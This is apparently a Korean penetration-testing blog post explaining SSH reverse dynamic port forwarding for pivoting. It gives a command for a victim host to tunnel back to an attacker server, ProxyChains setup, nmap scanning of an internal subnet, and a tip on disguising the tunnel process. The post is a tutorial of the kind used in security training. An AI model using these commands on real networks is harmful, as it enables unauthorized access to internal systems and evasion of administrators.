hhkb
모의해킹

피버팅과터널링_09_피버팅 고급 리버스 다이나믹 포트 포워딩

작성자 : Heehyeon Yoo|2025-12-19
# 모의해킹# PNT# SSH# ReverseDynamicPortForwarding# SOCKS

1. 개요

리버스 다이나믹 포트 포워딩(Reverse Dynamic Port Forwarding)은 리모트 포트 포워딩(Reverse Connection)과 다이나믹 포트 포워딩(SOCKS Proxy)의 장점을 결합한 고급 기법이다.

공격자가 피벗 호스트에 직접 접속할 수 없는 환경(방화벽, NAT 등)에서, 피벗 호스트가 공격자에게 역으로 접속(Reverse)하면서 동시에 SOCKS 프록시 터널을 생성하는 방식이다. 이를 통해 공격자는 피벗 호스트를 경유하여 내부망 전체를 스캔하거나 다양한 서비스에 접근할 수 있다.

2. 동작 원리 (최신 OpenSSH 기준)

현대적인 OpenSSH 버전(7.6 이상)부터는 -R 옵션 만으로도 리버스 다이나믹 포트 포워딩을 쉽게 구현할 수 있다.

  1. 연결 요청: 피벗 호스트(Client 역할)에서 공격자(Server 역할)로 SSH 연결을 시도한다.
  2. SOCKS 리스닝: 피벗 호스트는 공격자 서버의 특정 포트(예: 1080)를 SOCKS 프록시로 바인딩하도록 요청한다.
  3. 터널링: 공격자가 자신의 로컬 포트(1080)로 트래픽을 보내면, 이 트래픽은 SSH 역방향 터널을 타고 피벗 호스트로 전달된다.
  4. 다이나믹 라우팅: 피벗 호스트는 전달받은 트래픽을 해석하여 내부망의 최종 목적지로 라우팅한다.

3. 명령어 및 설정

3.1 피벗 호스트(Victim) 측 명령어

피벗 호스트에서 공격자 서버(10.8.0.2)로 접속하며, 공격자 서버의 8888 포트를 SOCKS 프록시로 연다.

# SOCKS 포트(8888)를 공격자 서버(Loopback)에 생성
ssh -N -R 8888 [email protected]

참고: OpenSSH 구버전에서는 -R 옵션이 다이나믹 포워딩을 지원하지 않을 수 있다. 이 경우 일반적인 리모트 포트 포워딩(-R)을 맺은 뒤, 공격자가 다시 로컬 포트 포워딩이나 다이나믹 포워딩(-D)을 중첩하여 사용하는 복잡한 과정이 필요하다. 하지만 최신 환경에서는 위 명령 하나로 충분하다.

3.2 공격자(Attacker) 측 설정

공격자는 자신의 로컬 머신에 생성된 8888 포트를 ProxyChains 등을 통해 이용한다.

  1. 리스닝 확인:
    netstat -antp | grep 8888
    # tcp  0  0  127.0.0.1:8888  0.0.0.0:*  LISTEN  (sshd)
    
  2. ProxyChains 설정 (/etc/proxychains4.conf):
    [ProxyList]
    socks5  127.0.0.1 8888
    
  3. 내부망 공격 수행:
    proxychains nmap -sT -Pn 10.1.20.0/24
    proxychains firefox
    

4. 활용 시나리오 요약

  • 상황: 공격자가 외부에서 내부망의 Pivot Host로 접속 불가능 (Inbound Block). Pivot Host는 인터넷 접속 가능 (Outbound Allow).
  • 목표: Pivot Host 너머의 Target Network 전체를 제어하고 싶음 (단순 1:1 포워딩으론 부족).
  • 해결책:
    1. 공격자는 공인 IP(또는 도달 가능한 IP)를 가진 SSH 서버를 구동(10.8.0.2).
    2. Pivot Host에서 ssh -R 8888 [email protected] 실행.
    3. 공격자는 127.0.0.1:8888을 통해 내부망 유람.

5. OpsSec 고려사항

  • SSH 서버 설정: 공격자 측 SSH 서버의 GatewayPorts 설정에 따라 SOCKS 포트가 외부(0.0.0.0)에 노출될지 로컬(127.0.0.1)에만 열릴지 결정된다. 보안을 위해 기본값(Localhost Only)을 권장한다.
  • 프로세스 은닉: 피벗 호스트에서 실행되는 ssh 프로세스는 관리자에게 발각될 위험이 있으므로, 프로세스 명을 변경하거나 백그라운드 서비스로 위장하는 기법과 병행되기도 한다.